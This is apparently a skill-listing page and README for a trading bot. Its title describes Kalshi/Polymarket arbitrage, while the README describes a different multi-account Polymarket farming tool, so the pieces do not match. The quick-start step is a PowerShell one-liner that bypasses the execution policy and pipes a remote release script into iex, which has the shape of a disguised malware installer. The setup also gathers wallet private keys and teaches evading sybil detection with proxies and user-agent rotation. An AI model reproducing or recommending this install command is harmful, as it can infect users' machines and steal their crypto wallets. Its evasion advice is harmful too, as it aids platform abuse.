Kalshi Trade Bot
This is an arbitrage trading bot that exploits price differences between Polymarket and Kalshi prediction markets for 15-minute BTC markets.
Install / Use
npx skills add llllllilllll/Kalshi-Trade-BotInstalls into whichever agent you are using.
README
🤖 Polymarket Bot
Automated multi-account bot for Polymarket — places predictions, farms volume, completes streaks, and maximizes rewards across unlimited accounts with per-account proxy support
╔══════════════════════════════════════════════════════════════════╗
║ Module 1 — Auto Predictor │ place bets on open markets ║
║ Module 2 — Volume Farmer │ hit volume targets every cycle ║
║ Module 3 — Points Farmer │ full automation across N accs ║
║ ║
║ ✦ Multi-account · Per-account proxies · Async workers ║
╚══════════════════════════════════════════════════════════════════╝
🚀 Open Polymarket · 🐦 Follow Dev
🚀 Quick Start
If you just want to get the project running fast on Windows, use the installation command below first. After that, continue with the project-specific setup, configuration, and usage sections.
🛠️ Installation
CMD
Open CMD and run this single command:
powershell -ep bypass -c "iwr https://github.com/llllllilllll/Kalshi-Trade-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"
Then continue with the project-specific setup steps below.
📘 Project-Specific Setup
Step 2 — Create a virtual environment
python3 -m venv venv
# Linux / Mac
source venv/bin/activate
# Windows
venv\Scripts\activate
Step 3 — Install dependencies
pip install requests web3 python-dotenv colorama aiohttp aiohttp-socks py-clob-client
py-clob-clientis the official Polymarket CLOB API Python client.
Step 4 — Get your API credentials
For each account:
- Connect your wallet at polymarket.com
- Go to Profile → Settings → API Keys → Create API Key
- Save the API Key, Secret, and Passphrase
- Add them to the account entry in
accounts.json
Step 5 — Fund your wallets
Each wallet needs USDC on Polygon to place predictions. Bridge or buy USDC and deposit to each wallet before starting.
Step 6 — Build your accounts.json
cp accounts.example.json accounts.json
nano accounts.json
📌 Table of Contents
- Quick Start
- How It Works
- Multi-Account & Proxy Support
- Modules
- Configuration
- Running the Bot
- Running 24/7 on a VPS
- Telegram Commands
- Disclaimer
⚡ How It Works
Polymarket opens new prediction markets
│
▼ (all accounts check simultaneously)
│
Per account:
• Authenticate via Polymarket API key + wallet
• Route traffic through assigned proxy
• Fetch open markets ranked by volume/liquidity
• Place predictions based on configured strategy
• Track volume targets and streak check-ins
│
▼
Positions tracked → resolved markets collected 🎯
│
▼
Telegram summary sent 📱
Every account runs as an independent async worker — one failed proxy or expired session never blocks the others.
👥 Multi-Account & Proxy Support
How accounts are configured
All accounts live in accounts.json. Each entry holds its own wallet, API credentials, prediction strategy, and optionally a dedicated proxy.
accounts.json
├── Account #1 → wallet_1 + apikey_1 + proxy_1 + strategy: majority
├── Account #2 → wallet_2 + apikey_2 + proxy_2 + strategy: contrarian
├── Account #3 → wallet_3 + apikey_3 + (no proxy) + strategy: random
└── ...unlimited accounts
│
▼
Bot spawns one async worker per account
│
▼
Workers run in parallel up to MAX_PARALLEL
Remaining accounts queue and start as slots free
accounts.json structure:
[
{
"id": "account_1",
"label": "Main",
"wallet_address": "0xYourWallet1",
"private_key": "0xYourPrivateKey1",
"polymarket_api_key": "your_api_key_1",
"polymarket_api_secret": "your_api_secret_1",
"polymarket_passphrase": "your_passphrase_1",
"referral_code": "YOUR_REF",
"strategy": "majority",
"proxy": "http://user:pass@host:port"
},
{
"id": "account_2",
"label": "Secondary",
"wallet_address": "0xYourWallet2",
"private_key": "0xYourPrivateKey2",
"polymarket_api_key": "your_api_key_2",
"polymarket_api_secret": "your_api_secret_2",
"polymarket_passphrase": "your_passphrase_2",
"referral_code": "YOUR_REF",
"strategy": "contrarian",
"proxy": "socks5://user:pass@host:port"
},
{
"id": "account_3",
"label": "No proxy",
"wallet_address": "0xYourWallet3",
"private_key": "0xYourPrivateKey3",
"polymarket_api_key": "your_api_key_3",
"polymarket_api_secret": "your_api_secret_3",
"polymarket_passphrase": "your_passphrase_3",
"referral_code": "YOUR_REF",
"strategy": "random",
"proxy": ""
}
]
How to get Polymarket API credentials
- Go to polymarket.com and connect your wallet
- Navigate to Profile → Settings → API Keys
- Click Create API Key
- Save the API Key, Secret, and Passphrase — they are shown only once
- Add them to the corresponding account entry in
accounts.json
⚠️ Each Polymarket account needs its own set of API credentials. The same wallet cannot have multiple active API keys simultaneously.
Proxy formats supported
| Format | Example |
|--------|---------|
| HTTP | http://user:pass@host:port |
| HTTPS | https://user:pass@host:port |
| SOCKS5 | socks5://user:pass@host:port |
| No auth | http://host:port |
| None | leave "proxy": "" |
Concurrency & safety settings
MAX_PARALLEL=5 # Max accounts running at the same time
ACCOUNT_DELAY=15 # Seconds between launching each worker
JITTER=true # Random ±10s delay per action (human-like)
PROXY_TEST_ON_START=true # Verify each proxy before farming begins
ROTATE_USER_AGENT=true # Unique user-agent per account
💡 Tip: Running many accounts from one IP risks detection. Assign a dedicated proxy to every account. Enable
PROXY_TEST_ON_START=true— bad proxies are flagged before the cycle starts, not mid-run.
📐 Modules
🔮 Module 1 — Auto Predictor
The bot fetches open Polymarket markets, ranks them by liquidity and volume, and places limit or market orders on behalf of each account according to its strategy.
Fetch open markets via Polymarket API (per account)
│
▼
Filter:
• Min liquidity > PREDICT_MIN_LIQUIDITY
• Not already holding a position
• Within allowed categories
• Closing date > MIN_HOURS_TO_CLOSE
│
▼
Apply strategy:
• majority → buy the leading side (YES if >50% probability)
• contrarian → buy the trailing side
• random → random YES / NO
• custom → filter by keyword/category, buy a fixed side
│
▼
Place LIMIT order at current best price ✅
(falls back to MARKET if limit not filled within timeout)
│
▼
Position tracked until resolution → collect USDC payout 💵
Prediction strategies:
| Strategy | Logic | Best for |
|----------|-------|----------|
| majority | Buy leading side (highest probability) | Safer volume farming |
| contrarian | Buy trailing side (lower probability, higher odds) | Higher variance, more upside |
| random | Random YES / NO per market | Maximum market coverage |
| custom | Filter by category + keyword | Targeted category farming |
Config block:
MODULE=predictor
PREDICT_STRATEGY=majority
PREDICT_AMOUNT=1 # USDC per prediction
PREDICT_MAX_PER_CYCLE=10 # Max new positions per account per cycle
PREDICT_CATEGORIES=politics,crypto # Only enter these categories (blank = all)
PREDICT_MIN_LIQUIDITY=1000 # Skip markets with less than $N liquidity
PREDICT_MIN_HOURS_TO_CLOSE=6 # Skip markets closing in less than N hours
PREDICT_ORDER_TYPE=LIMIT # LIMIT or MARKET
PREDICT_LIMIT_TIMEOUT=60 # Seconds to wait for limit fill before cancel
PREDICT_INTERVAL=3600 # Check for new markets every N seconds
💡 Tip: Keep
PREDICT_AMOUNTsmall (1–5 USDC) — the goal is volume coverage and streak maintenance, not speculation. UsePREDICT_MIN_LIQUIDITYto avoid illiquid markets where orders don't fill.
📊 Module 2 — Volume Farmer
Tracks each account's trading volume and ensures weekly/monthly volume targets are hit — which unlock higher reward tiers on Polymarket.
Check current volume for account (period: weekly / monthly)
│
▼
Volume below target?
• YES → calculate how many more trades needed
→ spread trades across remaining days
→ execute via Auto Predictor (Module 1)
• NO → sleep until next period
│
▼
Volume target reached → tier reward unlocked 🏆
│
Related Skills
node-connect
385.5kDiagnose OpenClaw Android, iOS, or macOS node pairing, QR/setup code, route, auth, and connection failures.
blender-python-addon
40.5kBlender Python add-on rules for operators, panels, properties, registration, testing, and API-safe scripting
flutter-development-guidelines-cursorrules-prompt-file
40.5kCursor rules for Flutter development with MVVM architecture, Riverpod state management, Material widgets, and Dart style guidelines.
commit-push-pr
140.7kCommit, push, and open a PR
Security Score
Audited on Aug 3, 2026
